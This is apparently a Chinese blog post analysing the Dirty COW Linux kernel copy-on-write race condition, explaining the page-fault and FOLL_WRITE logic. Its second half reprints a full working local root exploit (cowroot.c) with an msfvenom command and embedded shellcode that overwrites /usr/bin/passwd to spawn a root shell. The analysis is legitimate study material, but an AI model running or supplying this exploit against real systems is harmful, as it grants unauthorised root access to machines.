dirty cow分析

admin 2021年11月19日15:05:02dirty cow分析已关闭评论203 views字数 5513阅读18分22秒阅读模式

说明

比较老的一个漏洞,但是对新手来说还是很有分析价值,在这里分析了一下把主要逻辑做成了图的形式方便理解。

参考自

https://www.anquanke.com/post/id/84784

https://www.anquanke.com/post/id/84851

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

https://blog.jenisec.org/security/hugedirtycow.html

poc来源

https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

内核源码下载

https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.7.tar.xz

调试所需其他文件下载参考

https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/

内存页的分配过程

分配内存页。mmap使用MAP_PRIVATE标记,和PROT_READ标记。映射只读页会让VM_WRITE为0 。MAP_PRIVATE被置为1时,对mmap得到内存映射进行的写操作会使内核触发COW操作,写的是COW后的内存,不会同步到磁盘的文件中。

c
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

注:在mmap并不会直接分配内存,当对该内存进行操作(read,write)的时候才会把文件映射到内存。

分配过程会决定是否进行cow操作复制内存,下图中蓝色部分为cow的过程。其中follow_page_mask和page fault函数是会被__get_user_pages函数循环调用的,在第一次调用的时候会进入蓝色部分具体后面将会分析。

当调用了write函数在内核态会调用__get_user_pages函数。具体流程如下图,对一些关键字段的描述

  • FOLL_WRITE位是否为1判断要是否需要该页具有写权限,通过页表项的VM_WRITE位是否为1来判断该页是否可写。
  • 由于Mappedmem是以PROT_READ和MAP_PRIVATE的的形式进行映射的。所以VM_WRITE为0,又因为我们要求页表项要具有写权限,所以FOLL_WRITE为1
  • VM_FAULT_WRITE位是否为1来判断COW是否顺利完成
  • FAULT_FLAG_WRITE表示想要写入页(类似FOLL_WRITE)
  • pte_write(entry)页面具有写权限(类似VM_WRITE为1)

代码流程

dirty cow分析

exp执行过程分析

正常情况:

  • 第一轮:当调用write函数没有在内存中找到内存页,会从调页。但是检测发现想要的权限(写)和内存的权限(mmap映射为只读)不符,执行cow复制一块内存标记为只读。
  • 第二轮:查找到上面申请的cow页但是权限检查失败,因为cow没有其他备份所以直接去除了想要写权限的标志FOLL_WRITE(找到内存页的时候因为这个标志导致权限检查失败的)。
  • 第三轮:正常查找到cow页可以在cow页写,保存到内存中但是不会写回到硬盘。

漏洞情况:

  • 第一二轮同上
  • 每轮开始之前会把cpu调度走,这时释放掉内存页再次申请的时候将会:因为没有FOLL_WRITE不会进行cow正常找到内存页返回此时可以进行写入。

FOLL_WRITE标记是对应写入前检查页面是否具有写权限的(是对权限的检查)。正常情况下申请完cow,写入操作将会写入到cow内存是允许写入的(所以去除了FOLL_WRITE标记)写入的内容会在本进程的虚拟内存起作用,但是不会同步到磁盘。

执行过程流程图如下,绿色部分为用户输入,红色部分为漏洞相关。

dirty cow分析

获取root权限

通过msf生成payload,指定PrependSetuid为生成shellcode会setuid(0)

bash
msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

生成的payload写入/usr/bin/passwd文件

```c
/
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
@robinverton
*/

include

include

include

include

include

include

include

void map;
int f;
int stop = 0;
struct stat st;
char
name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
/

void madviseThread(void arg)
{
char str;
str=(char
)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stoppedn");
}

void procselfmemThread(void arg)
{
char str;
str=(char
)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stoppedn");
}

void waitForWrite(void arg) {
char buf[sc_len];

for(;;) {
    FILE *fp = fopen(suid_binary, "rb");

    fread(buf, sc_len, 1, fp);

    if(memcmp(buf, sc, sc_len) == 0) {
        printf("%s overwrittenn", suid_binary);
        break;
    }

    fclose(fp);
    sleep(1);
}

stop = 1;

printf("Popping root shell.n");
printf("Don't forget to restore /tmp/bakn");

system(suid_binary);

}

int main(int argc,char argv[]) {
char
backup;

printf("DirtyCow root privilege escalationn");
printf("Backing up %s to /tmp/bakn", suid_binary);

asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);

f = open(suid_binary,O_RDONLY);
fstat(f,&st);

printf("Size of binary: %dn", st.st_size);

char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);

map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("Racing, this may take a while..n");

pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);

pthread_join(pth3, NULL);

return 0;

}
```

相关推荐: ModSecurity 自建规则之路

0x01 简介 ModSecurity是一个开源的、跨平台的Web应用防火墙,它可以通过检查Web服务接收到的数据,以及发送出去的数据来对网站进行安全防护。 ModSecurity有以下作用: SQL Injection (SQLi):阻止SQL注入 Cros…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月19日15:05:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   dirty cow分析https://cn-sec.com/archives/632598.html